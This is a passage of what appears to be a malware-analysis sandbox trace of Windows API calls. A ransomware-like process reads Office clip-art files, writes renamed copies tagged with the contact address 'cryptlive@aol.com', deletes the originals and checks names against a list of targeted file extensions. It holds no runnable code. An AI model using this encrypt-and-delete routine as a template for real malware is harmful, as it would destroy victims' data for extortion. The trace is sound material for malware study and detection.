0x388 [0136.935] GetLastError () returned 0x0 [0136.935] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x6c8, lpOverlapped=0x0) returned 1 [0136.938] WriteFile (in: hFile=0x388, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0136.939] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.939] WriteFile (in: hFile=0x388, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.939] SetEndOfFile (hFile=0x388) returned 1 [0136.939] CloseHandle (hObject=0x388) returned 1 [0137.282] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.282] SetEndOfFile (hFile=0x384) returned 1 [0137.380] CloseHandle (hObject=0x384) returned 1 [0137.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0137.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.382] lstrlenW (lpString=".doc") returned 4 [0137.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.382] lstrlenW (lpString=".docx") returned 5 [0137.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.382] lstrlenW (lpString=".pdf") returned 4 [0137.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.382] lstrlenW (lpString=".xls") returned 4 [0137.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.382] lstrlenW (lpString=".xlsx") returned 5 [0137.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.382] lstrlenW (lpString=".ppt") returned 4 [0137.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.382] lstrlenW (lpString=".zip") returned 4 [0137.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.383] lstrlenW (lpString=".rar") returned 4 [0137.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.383] lstrlenW (lpString=".bz2") returned 4 [0137.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.383] lstrlenW (lpString=".7z") returned 3 [0137.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.383] lstrlenW (lpString=".dbf") returned 4 [0137.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.383] lstrlenW (lpString=".1cd") returned 4 [0137.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.383] lstrlenW (lpString=".jpg") returned 4 [0137.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.383] lstrlenW (lpString=".doc") returned 4 [0137.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.383] lstrlenW (lpString=".docx") returned 5 [0137.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.383] lstrlenW (lpString=".pdf") returned 4 [0137.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.383] lstrlenW (lpString=".xls") returned 4 [0137.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.383] lstrlenW (lpString=".xlsx") returned 5 [0137.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.383] lstrlenW (lpString=".ppt") returned 4 [0137.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.383] lstrlenW (lpString=".zip") returned 4 [0137.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.383] lstrlenW (lpString=".rar") returned 4 [0137.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.383] lstrlenW (lpString=".bz2") returned 4 [0137.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.384] lstrlenW (lpString=".7z") returned 3 [0137.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.384] lstrlenW (lpString=".dbf") returned 4 [0137.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.384] lstrlenW (lpString=".1cd") returned 4 [0137.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0137.384] lstrlenW (lpString=".jpg") returned 4 [0137.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.384] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.384] lstrlenW (lpString="BL00273_.WMF") returned 12 [0137.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0137.689] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3780) returned 1 [0137.689] CloseHandle (hObject=0x388) returned 1 [0137.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0137.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0137.803] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.803] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0138.754] GetLastError () returned 0x0 [0138.754] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xec4, lpOverlapped=0x0) returned 1 [0138.756] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xed0, lpOverlapped=0x0) returned 1 [0138.757] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0138.757] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0138.757] SetEndOfFile (hFile=0x1f8) returned 1 [0138.758] CloseHandle (hObject=0x1f8) returned 1 [0138.976] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0138.976] SetEndOfFile (hFile=0x3b0) returned 1 [0138.978] CloseHandle (hObject=0x3b0) returned 1 [0138.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0139.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.022] lstrlenW (lpString=".doc") returned 4 [0139.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.022] lstrlenW (lpString=".docx") returned 5 [0139.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.022] lstrlenW (lpString=".pdf") returned 4 [0139.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.022] lstrlenW (lpString=".xls") returned 4 [0139.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.022] lstrlenW (lpString=".xlsx") returned 5 [0139.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.023] lstrlenW (lpString=".ppt") returned 4 [0139.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.023] lstrlenW (lpString=".zip") returned 4 [0139.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.023] lstrlenW (lpString=".rar") returned 4 [0139.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.023] lstrlenW (lpString=".bz2") returned 4 [0139.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.023] lstrlenW (lpString=".7z") returned 3 [0139.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.023] lstrlenW (lpString=".dbf") returned 4 [0139.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.023] lstrlenW (lpString=".1cd") returned 4 [0139.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.023] lstrlenW (lpString=".jpg") returned 4 [0139.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.023] lstrlenW (lpString=".doc") returned 4 [0139.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.023] lstrlenW (lpString=".docx") returned 5 [0139.023] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.023] lstrlenW (lpString=".pdf") returned 4 [0139.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.023] lstrlenW (lpString=".xls") returned 4 [0139.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.023] lstrlenW (lpString=".xlsx") returned 5 [0139.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.023] lstrlenW (lpString=".ppt") returned 4 [0139.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.024] lstrlenW (lpString=".zip") returned 4 [0139.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.024] lstrlenW (lpString=".rar") returned 4 [0139.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.024] lstrlenW (lpString=".bz2") returned 4 [0139.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.024] lstrlenW (lpString=".7z") returned 3 [0139.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.024] lstrlenW (lpString=".dbf") returned 4 [0139.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.024] lstrlenW (lpString=".1cd") returned 4 [0139.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0139.024] lstrlenW (lpString=".jpg") returned 4 [0139.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.024] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.024] lstrlenW (lpString="BOAT.WMF") returned 8 [0139.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.025] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3350) returned 1 [0139.025] CloseHandle (hObject=0x3ac) returned 1 [0139.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0139.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.025] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.025] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0139.026] GetLastError () returned 0x0 [0139.026] ReadFile (in: hFile=0x3ac, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xd16, lpOverlapped=0x0) returned 1 [0139.027] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xd20, lpOverlapped=0x0) returned 1 [0139.028] ReadFile (in: hFile=0x3ac, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0139.028] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0139.028] SetEndOfFile (hFile=0x3a0) returned 1 [0139.028] CloseHandle (hObject=0x3a0) returned 1 [0139.029] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.029] SetEndOfFile (hFile=0x3ac) returned 1 [0139.031] CloseHandle (hObject=0x3ac) returned 1 [0139.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 1 [0139.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.034] lstrlenW (lpString=".doc") returned 4 [0139.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.034] lstrlenW (lpString=".docx") returned 5 [0139.034] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0139.034] lstrlenW (lpString=".pdf") returned 4 [0139.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.034] lstrlenW (lpString=".xls") returned 4 [0139.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.034] lstrlenW (lpString=".xlsx") returned 5 [0139.034] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0139.034] lstrlenW (lpString=".ppt") returned 4 [0139.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.034] lstrlenW (lpString=".zip") returned 4 [0139.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.034] lstrlenW (lpString=".rar") returned 4 [0139.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.034] lstrlenW (lpString=".bz2") returned 4 [0139.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.034] lstrlenW (lpString=".7z") returned 3 [0139.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.034] lstrlenW (lpString=".dbf") returned 4 [0139.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.035] lstrlenW (lpString=".1cd") returned 4 [0139.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.035] lstrlenW (lpString=".jpg") returned 4 [0139.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.035] lstrlenW (lpString=".doc") returned 4 [0139.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.035] lstrlenW (lpString=".docx") returned 5 [0139.035] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0139.035] lstrlenW (lpString=".pdf") returned 4 [0139.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.035] lstrlenW (lpString=".xls") returned 4 [0139.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.035] lstrlenW (lpString=".xlsx") returned 5 [0139.035] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0139.035] lstrlenW (lpString=".ppt") returned 4 [0139.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.035] lstrlenW (lpString=".zip") returned 4 [0139.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.035] lstrlenW (lpString=".rar") returned 4 [0139.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.035] lstrlenW (lpString=".bz2") returned 4 [0139.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.035] lstrlenW (lpString=".7z") returned 3 [0139.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.035] lstrlenW (lpString=".dbf") returned 4 [0139.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.035] lstrlenW (lpString=".1cd") returned 4 [0139.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0139.035] lstrlenW (lpString=".jpg") returned 4 [0139.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.036] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.036] lstrlenW (lpString="BOATINST.WMF") returned 12 [0139.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.036] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=29004) returned 1 [0139.036] CloseHandle (hObject=0x3ac) returned 1 [0139.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0139.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.037] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.037] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0139.037] GetLastError () returned 0x0 [0139.037] ReadFile (in: hFile=0x3ac, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x714c, lpOverlapped=0x0) returned 1 [0139.040] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7150, lpOverlapped=0x0) returned 1 [0139.041] ReadFile (in: hFile=0x3ac, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: 